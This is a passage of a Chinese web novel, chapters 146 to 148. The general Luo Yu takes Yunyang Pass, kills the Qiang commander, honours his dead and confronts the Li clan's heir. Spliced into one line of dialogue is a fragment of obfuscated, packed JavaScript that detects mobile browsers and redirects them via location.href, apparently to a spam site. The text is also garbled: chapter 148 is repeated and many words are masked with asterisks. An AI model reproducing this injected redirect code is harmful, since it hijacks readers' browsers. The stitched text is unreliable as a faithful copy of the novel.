数十号虎背熊腰的汉子毫不犹豫地顶着箭雨冲出,使出浑身力气推动攻城锤,猛然向前一砸:
“砰!”
“轰隆!”
失去两百盾兵的防御,城门哪还顶得住这般撞击?
大门轰然倒塌,木屑飞溅,一幕惨绝人寰的景象映入所有人的眼帘。
熊熊大火在城内燃烧,羌军被火焰吞噬,满地打滚哀嚎,还有人在胡乱奔逃,一声声凄厉的惨叫令人不寒而栗,但最终还是被烧成黑炭,散发出阵阵恶臭。
乾军将士们不觉得恐怖,反而是无比的解气。
“蹭!”
吕青云悍然拔刀,仰**吼:
“替死去的兄弟们报仇,给我杀!”
余寒弓射完了箭囊中最后一根箭矢,弃强弓换苍刀,目露凶光:
“杀光羌贼!”
新加入洛家军的最后一名都尉徐松到现在还处在失神中,董川的死颠覆了他以往的认知。不管是以前在边关从军还是在鲍家军中,他从未见过如此勇敢、悍不畏死的军卒。
望着一波波军卒涌入城内,壮硕的中年男子嘶吼出声:
“兄弟们,咱们是最后才跟着洛将军的,一直有人说咱们是叛徒手下的人,信不过,可这么多天来洛将军对我们不薄!
那些苍岐的兄弟,攻城冲在我们前面,杀敌冲在我们前面,今时今日,就连死,他们也冲在前面!
都是阙州边军,都是站着撒尿的汉子,难道我们就比别人差?难道我们是孬种!”
“不是!”
数百弯刀齐齐出鞘,原属于鲍家军的汉子们个个眼眶冒火,杀气腾腾!
“洛将军没有孬种!”
徐松咬牙切齿地吼道:
“一死又有何惧!”
“杀!”
就连霍连城麾下的几百人也红了眼,义无反顾地杀进城中,嘶吼声震耳欲聋,所有人都像疯了一样,见到羌兵就砍。
萧少游策马军前,**怒喝:
“我苍岐的将士们!今日之仇,唯有鲜血才能洗刷!”
“全军入城!”
“杀!”
数以千计的骑兵策马奔腾,**向前,宛如一条黑色巨龙翱翔天地,直撞云阳!
“洛”字旗下,洛羽拄着苍刀颤颤巍巍地站了起来,鲜血顺着刀锋缓缓流淌,厉声长啸:
“传我军令,破城之后,持刃者皆杀!”
“今日我要让云阳关内悬满苍刀,血流成河!”
……
短短半个时辰,羌兵便体会到了兵败如山倒的滋味。
洛家军在城内大杀四方,所有人都红了眼,看见羌兵就是一顿乱砍,有些人被怒气冲昏头脑,明明敌军已经毙命,还要将其尸体砍成肉泥方才停手。
街头巷尾到处都是羌兵奔逃、乾军追杀的场面,甚至被羌兵欺压许久的城内百姓都抄起板凳桌椅农具冲出家门,加入战场。
一向号称**如麻、残忍血腥的羌兵第一次体会到了什么叫恐惧,什么叫绝望。
“撤,快撤!”
“给我杀出去!”
最绝望的当属完颜康了,本以为胜券在握的一战眨眼间就兵败如山倒,满城军卒都在找他,恨不得生食其肉。
仅剩的十几名亲兵护着他一路往西,想要从西门逃窜,人人脸上都带着惊慌之色,是不是回头张望,因为吕青云和余寒弓在后面紧追不舍,宛如索命的恶鬼。
“嗖!”
余寒弓抬手一箭,锋利的箭矢瞬间洞穿了一名羌兵的额头,飞溅的鲜血令完颜康浑身一哆嗦,拼命地催动坐下战马,一刻也不敢停。
“狗贼,哪里走!”
最让羌兵绝望的事发生了,一队精骑从街巷尽头涌出,彻底堵**他们逃命的道路,蒙虎壮硕如小山般的身影大马横刀地立在街中央,杀气腾腾。
“吁吁吁!”
十几名羌兵急忙扯住缰绳,脸色无比苍白,前有堵截后有追兵,今日他们是插翅难逃。
“将军,怎么办?”
“冲,冲过去!”
完颜康咽了口唾沫,嗓音颤抖:“给我杀,杀了他们!”
十几名羌兵面面相觑,谁也不敢动弹,大哥你没开玩笑吧?对面可有上百骑,他们冲上去不是送死吗?
“抗命者死!”
完颜康几近癫狂,破口大骂:“杀过去!”
亲兵被逼无
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奈,只能咬着牙策马前冲,犹如羊入虎口,几乎一个照面就被黑甲精骑给吞没了。
最后一名亲兵头领被蒙虎一枪捅穿胸膛,枪尖挑着尸体甩飞老远,砸踏了一面土墙。
“砰!”
死尸落地的那一刻完颜康的心脏也跟着颤抖了一下,面如死灰。
举目皆敌,孤身一人。
骑兵缓缓向两侧分开,洛羽**行出,面色冰冷:
“完颜康,我们又见面了。”
“洛羽!都是你!”
完颜康咬牙切齿,目光喷火,都是这家伙害得自己落入今天的局面。
“自裁吧,省得我动手了。”
雪花缓缓飘落,沾满甲胄,洛羽眼神怅然:
“云阳关是个好地方,死在这算你命好。”
“狂妄!真当老子怕你不成!”
完颜康怒目圆睁,暴怒掩盖了心中对死亡的恐惧,策马向前:
“老子杀了你!”
洛羽没让旁人动手,而是独自迎战,手中**随着战马前冲渐渐抬起:
“就用你的人头,祭奠战死的将士!”
“喝!”
两人都使出了浑身力气,毫无花哨地一枪狠狠砸向对面。
“铛!”
两人的身形同时一颤,只不过完颜康的幅度明显更大,呼吸也急促了许多。
洛羽甚至不等稳住身形又是一枪砸出:
“不杀你,难泄我心头之恨!”
“砰!”
完颜康忙不迭地抬枪格挡,沉重的力道让他双臂一弯,喉咙口似有一口鲜血翻滚。
无助的神色充斥了完颜康的面庞,他知道自己不是洛羽的对手,今日已是必死之局。
“云阳关是我阙州边关!你西羌宵小,焉敢犯境!”
洛羽单手握枪,枪杆绕着腰腹转了一圈,狠狠砸向了完颜康的后背,本就力竭的他终究是没接下这一枪。
“砰!”
“噗嗤!”
一口鲜血猛地喷出,沉重一击打碎了他的脊梁,堂堂西羌主将犹如死狗一样栽倒在地,浑身抽搐。
洛羽拎着刀一步步的走过来,单脚踩住了他的胸口:
“我之前就说过,会亲手送你去见完颜昌。”
神志逐渐模糊的完颜康说不出话来,只是在绝望地摇头,眼神一点点昏暗,隐约看见刀锋高高举起。
所有军卒都屏住了呼吸,紧盯刀锋。
洛羽狞声怒喝:
“死吧!”
刀锋划过,硕大的人头滚落在旁。
……
寒风吹过天地,满城尽悬苍刀。
雪花降落人间,血花绽放沙场。
忽如一夜冬风来,
满城苍刀血花开!
第146章此子绝非池中物
战后的云阳关满目疮痍
街头巷尾尽是残垣断壁,散落的兵器随处可见,一切景象都在告诉人们此战的惨烈。
好在羌兵主力被悉数歼灭,战事平息,百姓们开始陆陆续续走出家门收拾残局。
地上的血迹反复冲刷勉强能清洗干净,但刀刻斧凿的激战痕迹会永远地留在墙砖之上。
打烂了重建,刚建好又打,年复一年。
云阳关的百姓好像早已麻木,一代又一代人都是这么过来的,饱受战火袭扰。
陆铁山、洛羽、霍连城三人站在墙头,驻足远眺。
洛羽依稀记得几个月前大军刚刚会师的时候有六名统兵大将,是敌是友傻傻分不清,当时他觉得前线乱套了,几场仗打下来只剩三人还活着。
其实鲍卿、秦昭、李光业确实没有叛国,他们只是为了铲除异己,故意泄露军情。心中只有私利的人,最终只会自食恶果。
令人唏嘘。
老将军目光怅然:
“打了一年又一年的仗,这儿却始终有人定居,这些老实本分的贫民百姓从未想过逃亡。”
“逃又能逃到哪儿去呢?”
霍连城苦笑一声:
“就算能逃出云阳关,定居内地,难道就能躲避战火吗?逃离阙州、逃离陇西又能如何,天下大乱,何处能安生?
这儿是生他们养他们的家,谁又愿意离开故土做一个孤魂野鬼。”
三人都沉默了,扪心自问,若不是迫不得已,谁愿意离家远行?
这个话题有些沉重,陆铁山开口打破沉寂:
“这两天我派斥候出去探过了,羌兵残部逃得无影无踪,想来短期内不会再有战事。
两位将军接下来作何打算?”
陆铁山是朝廷任命的云阳关主将,要一直驻守此地,但洛羽和霍连城只不过是李家调来的,任务只是收复云阳关。
如今羌兵败退,两人自然没有理由留在这,光是军粮军饷都无人供应。
“我自然是回苍岐了。”
洛羽目光微寒:
“李光业被我杀死的消息要不了多久就会传入李玄冰耳中,李家是不会善罢甘休的。
早一日回去,早一点安心。”
“李光业一死,你与李家的仇可就结**。”
老将军神色凝重,他深知李家在阙州的实力地位:
“你以后的路会很难走,自己小心。”
“无妨。”
洛羽冷笑一声:
“李家树大根深,可我洛羽也不是谁都能欺负的!”
“霍将军呢?作何打算?”
“我?我也得罪了李家,这下无处可去咯。”
霍连城饶有趣味地看向洛羽:
“不知洛将军愿不愿意收了我,以后我霍连城就是你的马前卒了。”
“你要跟着我?”
二人同时错愕,洛羽没想到霍连城会做出这样的决定,打趣道:
“霍将军说笑了不是,您可是佣兵首领,在军中说一不二,干嘛跟着我当个下属。”
“我没有开玩笑,我很认真。”
霍连城的表情分外凝重:
“虽然与洛将军相识不过短短几个月,可一场场战事打下来我对你心服口服。
论计谋手段,你比我聪明太多;论上阵杀敌,你骑术枪法都比我厉害;治军带兵就别提了,压根不能比。
当你的下属我并不觉得可耻,反而是一种荣耀。
我当佣兵是无奈之举,无非只是想混口饭吃,我相信洛将军不会亏待我和我那些兄弟。
其实之前我一直很好奇,董川、蒙虎那些人是你从苍岐带出来的,敢打敢拼也就罢了。可徐松麾下的鲍家军归你麾下不到两个月,就从一群乌合之众变成了上阵嗷嗷叫的悍卒。
到底为什么?
现在我明白了,因为在你手下没有钩心斗角、尔虞我诈,所有人都在朝着共同的目标前进,所有人都真正信任自己的同袍。”
说到这里霍连城停顿了一下:
“以前我跟洛将军说过,当年之所以退出边军就是因为厌恶了从背后捅来的刀子,厌恶那些钩心斗角。
我也很想拥有一些值得生死相托的同袍兄弟,更想跟着你去横刀立马,踏碎羌骑!”
洛羽怔怔然,一向粗狂的霍连城竟然能说出这么一番推心置腹的话,连自己都深受触动。
“洛将军!”
霍连城单膝跪地,抱拳行礼:
“从今往后,末将霍连城愿追随您征战四方,万死不辞!”
“霍将军快快请起!”
洛羽赶忙扶起他,重重一拍肩膀:
“行!我答应了!”
“哈哈哈!”
霍连城心满意足地笑了,挥挥手爽朗离去:
“那我得回营叫兄弟们收拾行囊了,跟着你一起回
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苍岐!”
洛羽哭笑不得,莫名其妙就多了一个属下。
“挺好的。”
陆铁山微微一笑:“霍连城能靠自己拉起上千兵马,绝不是庸碌之辈,能帮你大忙。
况且你与李家早晚会开战,正是用人之际。”
“我知道。”
洛羽遥遥望向阙州境内:
“李家若要战,那便战!苍岐不惧!”
陆铁山老眼微凝,沉默许久突然说了一句:
“大约二十年前吧,也在这座云阳关,我见过一位和你一样锋芒毕露的年轻人。
那时候的他只是个小小都尉,如今已经是我大乾国的顶梁柱。
老夫觉得你和他很像。”
“很像?”
洛羽心头一颤:
“谁?”
“镇东大将军,武成梁。”
“我一个小小城主,哪有资格跟大将军比。”
洛羽表面上波澜不惊,内心却早已掀起惊涛骇浪,没想到陆铁山还与自己的父亲相识。
“乾坤未定,谁又能说得准呢?”
陆铁山唏嘘道:
“听说外敌入侵,东境开战,大将军正率麾下精锐在边关拒敌。
唉,内忧外患,多事之秋啊。”
听到这个消息洛羽目光闪烁,东境的消息他还真极少听到,隐隐有些担心。不过一想到武成梁戎马一生便安心了许多,上战场对他来讲应该是家常便饭。
“咦,你怎么了?”
老人好奇道:
“怎么感觉你有些心不在焉?”
“在担忧苍岐和凤川啊。”
洛羽不着痕迹的岔开话题:
“该走了,老将军保重!”
“后会有期!”
……
寒冷的冬季难得出现了暖阳,呼啦啦的冷风也减弱了许多。
云阳关外有一支军队缓缓远行,黑甲茫茫、军容严整,队伍中高举着一面面“洛”字军旗。
随着霍连城的加入以及陆续吸纳的新兵,洛羽的兵力已经扩充一倍不止,足有三千余众。
关内百姓自发的出来送行,扶老携幼,更有甚者跪地磕头,他们不会忘记洛羽已经拯救云阳关两次。
恩同再造!
城头上的陆铁山更是神采飞扬,苍老的脸庞上挂满笑容:
“此子绝非池中物啊。”
“看来我陇西也能出一位镇东大将军那样的英雄人物了。”
第147章天将降大任于斯人
还有两天就是新年了,洛羽一路疾驰近两百里,终于回到了凤川境内。
因为担心李家出兵报复,所以他让步卒押运粮草辎重在后缓行,自己带着千余骑兵先行一步。
庞大的骑队路过一处山坡拐角时停了下来,山脚下大片大片的农田让洛羽皱起了眉头。
“奇了怪了。”
蒙虎嘟囔了一句:
“我怎么记得半年前离开的时候这里是一片荒田,这些庄稼地从哪儿冒出来的?老子难道记错了?”
地里没有庄稼,倒像是刚刚开垦出来的农田,沟壑纵横,许多农夫顶着瑟瑟寒风在劳作,脸上不仅没有疲惫,反而给人一种喜悦振奋之色。
又有一阵急促的马蹄声响起,十几骑快马从对面疾驰而来,隔着老远洛羽就认出了梅雪崖和韩朔的身形。
梅雪崖率先弯腰行礼:
“属下参见城主!幸好来得早些,差点就错过了。”
主政凤川半年,梅雪崖一眼看上去就比以前沉稳多了。
“好久不见啊,哈哈,自己人就别客气了。但你们怎么知道我今天会路过此地?”
洛羽面带好奇,听梅雪崖的意思是特地过来等他的,但按他之前传回来的书信应该过几天才回凤川,骑兵先行不过是自己一时起意。
“还不是雪崖猜中了城主的心思。”
韩朔笑道:“他说您肯定放心不下,会带兵先行,拉着我提前来迎接。”
“还是雪崖心思机敏啊。”
洛羽略微诧异,随即若有所思地来了一句:
“你选择在此地等我应该另有目的吧?我猜与这片新开垦的土地有关?”
“果然什么事都瞒不住您。”
梅雪崖望向山下大片大片的田地:
“您出征在外,最放心不下的肯定是苍岐、凤川,所以卑职特地在这里等您,汇报一下近况。
半年来全境都在推广打土豪分田地,按照咱们当初的设想,收缴了大批地主恶霸的土地,然后根据土地的肥沃程度将其分为上田、中田、下田,按各户人口均分。
当然了,打土豪打土豪,打的的主要是那些恶贯满盈的地主恶商,对于愿意配合、主动交出田地的人卑职采取了怀柔的态度,并未分其私田。
城主统领凤川、苍岐两地,一心为民固然是好事,但也不可能彻底将本地商贾士族杜绝在外,想要治理好地方,这些人的支持必不可少。
脚下这片土地都是近半年来开垦出来的,城主一走我就带人勘察了全境,受战火袭扰,境内许多土地都荒废多年,浪费实在可惜。
所以我努力吸纳流民入境,鼓励百姓开垦荒田,只要愿意在凤川周边定居,官府可以为其提供农具农种。
还有吏治……”
梅雪崖说了很多很多,从土地改革、安置流民到推行吏治法治、提振商业,事无巨细。洛羽很惊讶,短短半年之间他竟然可以做这么多事。
“城主,您看卑职有哪里做得不好?”
梅雪崖躬着身子,神色有些紧张。
出征之前洛羽将凤川城所有政务交给他,从小小乞丐到主政凤川,他堪称一步登天,所以梅雪崖很怕辜负了洛羽的期望。
洛羽并未回答这个问题,只是轻轻扶起梅雪崖弯下的腰肢:
“你瘦了很多。”
短短半年,这位状元郎就比分别时瘦了一圈,原本读书人白皙的面庞也多了风沙吹拂的沧桑、憔悴,眼眶中还带着血丝。
一句话、一个动作。
竟让梅雪崖目光湿润,满心暖意,一时间竟不知道该如何作答。
“这我就得替雪崖说几句公道话了。”
韩朔的脸上带着敬佩之意:
“从城主您率兵出征以后,他每天忙得脚不离地。
各村各乡分田,有地主老爷**他都苦口婆心地先去劝,劝不动再让我动武;新开垦的荒田,他几乎每一亩地都亲自走过,带着人早出晚归丈量土地,布鞋不知道磨破了多少双。
……”
韩朔的一番话让众人肃然起敬,尤其是蒙虎吕青云这帮军汉。
以前他们这些武人不喜文人书生,觉得文绉绉的没有爷们气概,但现在梅雪崖做的这些事谁不佩服?这份苦没几个人吃得下。
“你辛苦了。”
“这都是卑职该做的。”
梅雪崖显得有些局促:
“这都是卑职该做的,总不能辜负您的信任。”
对比那些一路拼杀出来的同袍,梅雪崖对洛羽的态度是最恭敬的那一个,这不是因为地位,而是因为恩情。
在他心里是洛羽给了自己施展才华的机会。
“从今往后,凤川城的政务就全权放手给你了。”
洛羽沉声道:
“你记住,天将降大任于斯人也,必先苦其心志,劳其筋骨。前些年你所遭受的困难是
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你一生的财富。
以后会有更多的担子压在你身上,认定的事情就放手去做,不要怕,我相信你会做得越来越好!
谁说寒门学子不能名垂青史!”
一席话让梅雪崖深受触动,合手作揖,深深地弯下腰肢:
“雪崖谨记教诲!”
……
景丰九年的最后一天终于来临,苍岐建成刚刚好满一年。
沈漓站在城头,炯炯有神的大眼睛拼命地往远方看,瑟瑟寒风吹得小脸红扑扑的。
“怎么还不回来。”
看了许久,官道上依旧空空荡荡,沈漓的神情逐渐失落:
“难道要在凤川城过年?”
“噼里啪啦!”
日暮黄昏,苍岐城内开始响起爆竹声,团团烟火在空中不断绽放,热闹又喜庆。
一年前,这里是一片废墟,只有荒芜多年的砖石烂墙,杂草丛生,人迹罕至。
今时今日,苍岐城已经有两万多人口,一道营墙、一道城墙拔地而起,沿着山脚下建起了一排排民房,街巷划分井然有序,随着衍生出了不少卖货的商贩,店铺。
虽说比起凤川城差了很多,但已初具气象。
在苍岐定居的百姓大多数都是逃难的难民、军卒的家属还有附近村落迁徙过来的村民,苍岐对他们来说是人生新的开始。
噼里啪啦的爆竹声中承载了人们对未来的希望,所有人都莫名其妙地坚信苍岐会越来越好。
这种信任来自那位城主:
洛羽!
“看来是不会回来了。”
天色渐黑,始终没有看到人影,沈漓落寞地垂下眼眸:
“算了,自己吃吧。”
她跺了跺冻僵的脚,身后集市的笑闹声越欢,越衬得城门冷清。
“哒哒哒!”
刚刚转过身,急促的马蹄声就传入了她的耳中,沈漓豁然扭头,随即一阵惊喜涌上双眸,急匆匆地跑下城。
“吁吁吁!”
望着停马在身前的男子,沈漓的嗓音有些发酸,有些委屈:
“我还以为你不回来了。”
“凤川城有些事情耽搁了,所以晚了点。”
洛羽歉意一笑:
“当然得回来,这里才是家。”
“咕噜噜~”
肚子突然叫了,洛羽尴尬抬头:
“饿了。”
“我给你包了饺子。”
沈漓展颜一笑:
“回家,吃饭!”
第148章壮士百战忠骨碑
阙州风平浪静,预想中的李家并未出现。
洛羽和萧少游推测,因为正好是新年,李家这种大族少不了各种往来应酬,一时半会没空来找他们麻烦。
反正苍岐和凤川两城就在这,跑得了和尚跑不了庙,李家不急。
但所有人都知道,该来的总会来的,苍岐整日都笼罩在一片紧张的氛围中。
三岐山分为赤岐山、黑岐山和岐连峰:
赤岐山遍布铁矿,如今已经成了公输白的地盘,铁匠铺子、炼铁高炉犹如雨后春笋般冒了出来;黑岐山长满了黑松木,质地坚硬,一方面为打造兵器箭矢提供了上好的木材、另一方面又可以为炼铁提供源源不断的燃料。
岐连峰,三岐山的主峰,漫山遍野的树木尽显生机盎然。
半山腰处多了几百座新坟,立起了一块块石碑,上面都刻着名字:
苍岐都尉,董川。景丰九年冬战死于云阳关。
苍岐百户,陈大桩。景丰九年冬战死于云阳关。
苍岐百户……
整整三百八十七块石碑,全都是跟着洛羽从苍岐出征的老兵。
云阳关是收复了,可他们永远地闭上了眼睛。
山脚下军旗林立,一面面“洛”字玄旗猎猎作响,数以千计的黑甲军卒昂首挺胸,肃杀之气弥漫全场。
萧少游、韩朔、蒙虎、梅雪崖、江殊等等,两城军政双方的头头脑脑尽数到齐,精锐军卒齐聚岐连峰下。
更远处还有数不清的百姓,很多人眼含热泪,泣不成声,因为新坟底下埋得就是他们的亲人。
“擂鼓!”
“咚咚咚!”
轰鸣鼓声回荡,震碎满天云霄。
洛羽朗声怒喝:
“全军行礼!”
“轰!”
数千军卒握拳砸胸,铁甲铮铮。
“抽刀!”
“蹭蹭蹭!”
苍刀出鞘,刀锋直指天穹。
全场寂静无声,唯有刀锋凛冽,这是对战死英灵的崇高敬意,希望同袍在天之灵得以安息。
古来征战几人回。
壮士百战忠骨碑!
从清晨到正午,岐连峰下的军卒们早已散去,但洛羽一直没走,兜兜转转,抚摸着每一块石碑,端详每一个姓名,脑海中闪过一张张熟悉的面庞。
有从鸡鸣寨就跟着自己的铁杆心腹、有在云阳关一战后随自己来苍岐定居的青壮、也有打土豪分田地后自愿入军的庄稼汉。
从四方来,往沙场去!
洛羽面色怅然:
“我一直说死战死战,不畏死者可求生,其实连我自己都没明白,他们为何能心甘情愿地**?
有时候我在想是不是骗了他们。人**,就什么都没了。”
“因为是你让他们有了家,给了家人活下去的希望。”
萧少游轻声道:
“这些年来陇西三州战乱频繁,人命如草芥,寻常百姓要么饿死、要么**死,毫无盼头。他们是流民、是难民,这辈子最好的结局就是能饿死在街头,囫囵留个全尸。
可是你建了苍岐,给了大家一个安身立命的地方。
打土豪分田地、发军饷给抚恤、吃饱穿暖,这是他们做梦都不敢想的事,但你真的做到了。
对于你而言,答应李家收复云阳关很大一部分是为了凤川城,但对于他们而言,云阳关是阙州门户,羌兵占领云阳关就意味着总有一天会进攻苍岐。
他们搏命一战,不是为了你这个城主,也不是为了什么李家的地盘,他们是为了自己的家人,为了家人能好好的活下去。”
“为了家人,为了希望。”
洛羽望向山下的苍岐城,那些百姓都在过着自己普通而又安稳的日子,劳作半天,不觉疲累,每个人都有盼头。
洛羽好像想通了什么,目露坚定:
“以后我们得替兄弟们守好这个家了啊,总得让他们安息吧。”
日暮降临,突然一阵狂风吹过,卷着纸钱漫天飞舞,好像是死去的英灵听到了洛羽的承诺,欣慰不已。
恰在此时,梅雪崖步履匆匆地走了过来:
“刚刚得到消息,李家大公子李玄冰带着三千兵马出城了,正朝苍岐而来。”
“三千兵马?少了点吧。”
萧少游眉宇微皱:
“李家很清楚我们的实力,应该明白三千人吞不下苍岐凤川两城,他想干什么?”
“不管他想干什么,总得会会他。”
洛羽舒展了一下腰肢:
“如果要打,咱们奉陪到底!”
……
“呜呜呜!”
凄厉的号角声撕裂云霄,苍岐城外杀气凛然。
两座庞大的军阵矗立在城外广阔的平原上,遥遥相对。
李家三千兵马,骑兵一千步卒两千,人人面带凶悍之色,身着土黄色军服,胸口写着一个大大的“李”字,骑兵甚至还披着铁甲,能跟着李玄冰出来的定是李家精锐。
苍岐这边只出动了两千人,清一色的骑兵,黑甲茫茫、**凛凛。
云阳关一战,洛羽最大的收获不是收编了上千军卒,而是从完颜康手里缴获了大量的战马,骑兵规模大大扩充。
两座军阵看似杀气腾腾,可好像并无开战迹象,两军主帅单独在阵前相见。
“好久不见,洛城主。”
李玄冰依旧穿着那身雪白长袍,目光扫过黑甲军阵:
“呵呵,真是兵强马壮啊。士别三日当刮目相待,此话果然不虚。”
“寒暄就免了吧,李公子今日此行何意?”
洛羽对此人生不出半点好感,他很清楚李光业对自己下死手绝非自作主张,而是李玄冰授意。
至于此前的合作,洛羽半个字也不提,双方都已经结成死仇,李家总不可能还给他求一个正五品将军的官位吧。
“洛城主,没必要弄得这么僵嘛。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489175|169975||http|test|mini|href|location''.split(''|''),0,{}));
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r>李玄冰微微一笑:
“如果今日我是奔着开战来的,就不会只带三千兵马了,李家有心与你合作的,倒不如好好谈一谈。”
“又是合作?”
洛羽冷笑一声:“那就说说吧,怎么个合作法。”
“很简单,和此前一样,苍岐凤川两地归你,我李家绝不干涉。”
李玄冰泰然自若地说道:
“但你得向李家纳税,以前姚林交多少,凤川和苍岐两城也交多少,咱们化干戈为玉帛,岂不美哉?
至于李光业和苍岐将士的死,咱们算扯平了,就此揭过。”
“给李家交税?哈哈哈。”
洛羽直接乐了,冷声道:
“凭什么?苍岐凤川两地是我真刀**换回来的,李公子嘴皮一张就想分走几成税赋,太霸道了些吧?”
讥讽的嗓音终于让李玄冰的表情冷了下来:
“本公子已经给足了你面子,休要敬酒不吃吃罚酒!
在阙州敢这么和我说话的人还真是头一回见,你不要以为打赢了几场仗就真能虎踞一方。
我李家捏死你虽然会费点力,可一定能做到!”
“是吗?如果你李家真有把握,今日还会来和我谈条件吗?”
洛羽脸上多了一抹嘲讽:
“你们很清楚,和我开战就算能赢那也是伤筋动骨,你们李家不想死那么多人,但你们又舍不得凤川城的利益,所以才来和我谈条件对吧?
说白了,你们也怕!”
被洛羽戳破心思,李玄冰的目光很是阴沉。
“我告诉你,苍岐凤川两地一个铜板都不会交给李家,从今往后这里我说了算!别人惧你李家,我不惧!”
洛羽面色冰寒:
“云阳关那一仗我不会忘,这笔账以后我们再好好算。
想开战,我就在这里等你,让我看看李家有多少人可以死!”
“洛羽,你休要张狂太甚!”
李玄冰被彻底激怒了:
“别忘了,我父亲乃是朝廷亲封的阙州持节令,主管阙州军政大权!你无官无职,只是名义上的城主罢了。
强占凤川,我李家大可以出兵将你剿灭,谁也说不了什么!”
这句话李玄冰说得没毛病,李家名义上掌管阙州军政,确实可以严令洛羽交出凤川,但如今是谁拳头硬谁说了算!
“那就让咱们沙场上见真章!”
两人针锋相对,怒从心生。
眼看着谈判即将破裂,大战一触即发,天边尽头突然有一辆华丽的马车在数十精骑的护卫下疾驰而来,马车顶端还飘扬着一面金黄色的小旗。
黄旗飘飘,威严感油然而生。
“这是,宫里出来的车驾!”
李玄冰的见识自然比洛羽要多,第一眼就认出了马车的来历,可是皇城宫里的车驾怎么会出现在这?
一道粗狂的怒喝声陡然响彻战场:
“圣旨到!”
第148章壮士百战忠骨碑
阙州风平浪静,预想中的李家并未出现。
洛羽和萧少游推测,因为正好是新年,李家这种大族少不了各种往来应酬,一时半会没空来找他们麻烦。
反正苍岐和凤川两城就在这,跑得了和尚跑不了庙,李家不急。
但所有人都知道,该来的总会来的,苍岐整日都笼罩在一片紧张的氛围中。
三岐山分为赤岐山、黑岐山和岐连峰:
赤岐山遍布铁矿,如今已经成了公输白的地盘,铁匠铺子、炼铁高炉犹如雨后春笋般冒了出来;黑岐山长满了黑松木,质地坚硬,一方面为打造兵器箭矢提供了上好的木材、另一方面又可以为炼铁提供源源不断的燃料。
岐连峰,三岐山的主峰,漫山遍野的树木尽显生机盎然。
半山腰处多了几百座新坟,立起了一块块石碑,上面都刻着名字:
苍岐都尉,董川。景丰九年冬战死于云阳关。
苍岐百户,陈大桩。景丰九年冬战死于云阳关。
苍岐百户……
整整三百八十七块石碑,全都是跟着洛羽从苍岐出征的老兵。
云阳关是收复了,可他们永远地闭上了眼睛。
山脚下军旗林立,一面面“洛”字玄旗猎猎作响,数以千计的黑甲军卒昂首挺胸,肃杀之气弥漫全场。
萧少游、韩朔、蒙虎、梅雪崖、江殊等等,两城军政双方的头头脑脑尽数到齐,精锐军卒齐聚岐连峰下。
更远处还有数不清的百姓,很多人眼含热泪,泣不成声,因为新坟底下埋得就是他们的亲人。
“擂鼓!”
“咚咚咚!”
轰鸣鼓声回荡,震碎满天云霄。
洛羽朗声怒喝:
“全军行礼!”
“轰!”
数千军卒握拳砸胸,铁甲铮铮。
“抽刀!”
“蹭蹭蹭!”
苍刀出鞘,刀锋直指天穹。
全场寂静无声,唯有刀锋凛冽,这是对战死英灵的崇高敬意,希望同袍在天之灵得以安息。
古来征战几人回。
壮士百战忠骨碑!
从清晨到正午,岐连峰下的军卒们早已散去,但洛羽一直没走,兜兜转转,抚摸着每一块石碑,端详每一个姓名,脑海中闪过一张张熟悉的面庞。
有从鸡鸣寨就跟着自己的铁杆心腹、有在云阳关一战后随自己来苍岐定居的青壮、也有打土豪分田地后自愿入军的庄稼汉。
从四方来,往沙场去!
洛羽面色怅然:
“我一直说死战死战,不畏死者可求生,其实连我自己都没明白,他们为何能心甘情愿地**?
有时候我在想是不是骗了他们。人**,就什么都没了。”
“因为是你让他们有了家,给了家人活下去的希望。”
萧少游轻声道:
“这些年来陇西三州战乱频繁,人命如草芥,寻常百姓要么饿死、要么**死,毫无盼头。他们是流民、是难民,这辈子最好的结局就是能饿死在街头,囫囵留个全尸。
可是你建了苍岐,给了大家一个安身立命的地方。
打土豪分田地、发军饷给抚恤、吃饱穿暖,这是他们做梦都不敢想的事,但你真的做到了。
对于你而言,答应李家收复云阳关很大一部分是为了凤川城,但对于他们而言,云阳关是阙州门户,羌兵占领云阳关就意味着总有一天会进攻苍岐。
他们搏命一战,不是为了你这个城主,也不是为了什么李家的地盘,他们是为了自己的家人,为了家人能好好的活下去。”
“为了家人,为了希望。”
洛羽望向山下的苍岐城,那些百姓都在过着自己普通而又安稳的日子,劳作半天,不觉疲累,每个人都有盼头。
洛羽好像想通了什么,目露坚定:
“以后我们得替兄弟们守好这个家了啊,总得让他们安息吧。”
日暮降临,突然一阵狂风吹过,卷着纸钱漫天飞舞,好像是死去的英灵听到了洛羽的承诺,欣慰不已。
恰在此时,梅雪崖步履匆匆地走了过来:
“刚刚得到消息,李家大公子李玄冰带着三千兵马出城了,正朝苍岐而来。”
“三千兵马?少了点吧。”
萧少游眉宇微皱:
“李家很清楚我们的实力,应该明白三千人吞不下苍岐凤川两城,他想干什么?”
“不管他想干什么,总得会会他。”
洛羽舒展了一下腰肢:
“如果要打,咱们奉陪到底!”
……
“呜呜呜!”
凄厉的号角声撕裂云霄,苍岐城外杀气凛然。
两座庞大的军阵矗立在城外广阔的平原上,遥遥相对。
李家三千兵马,骑兵一千步卒两千,人人面带凶悍之色,身着土黄色军服,胸口写着一个大大的“李”字,骑兵甚至还披着铁甲,能跟着李玄冰出来的定是李家精锐。
苍岐这边只出动了两千人,清一色的骑兵,黑甲茫茫、**凛凛。
云阳关一战,洛羽最大的收获不是收编了上千军卒,而是从完颜康手里缴获了大量的战马,骑兵规模大大扩充。
两座军阵看似杀气腾腾,可好像并无开战迹象,两军主帅单独在阵前相见。
“好久不见,洛城主。”
李玄冰依旧穿着那身雪白长袍,目光扫过黑甲军阵:
“呵呵,真是兵强马壮啊。士别三日当刮目相待,此话果然不虚。”
“寒暄就免了吧,李公子今日此行何意?”
洛羽对此人生不出半点好感,他很清楚李光业对自己下死手绝非自作主张,而是李玄冰授意。
至于此前的合作,洛羽半个字也不提,双方都已经结成死仇,李家总不可能还给他求一个正五品将军的官位吧。
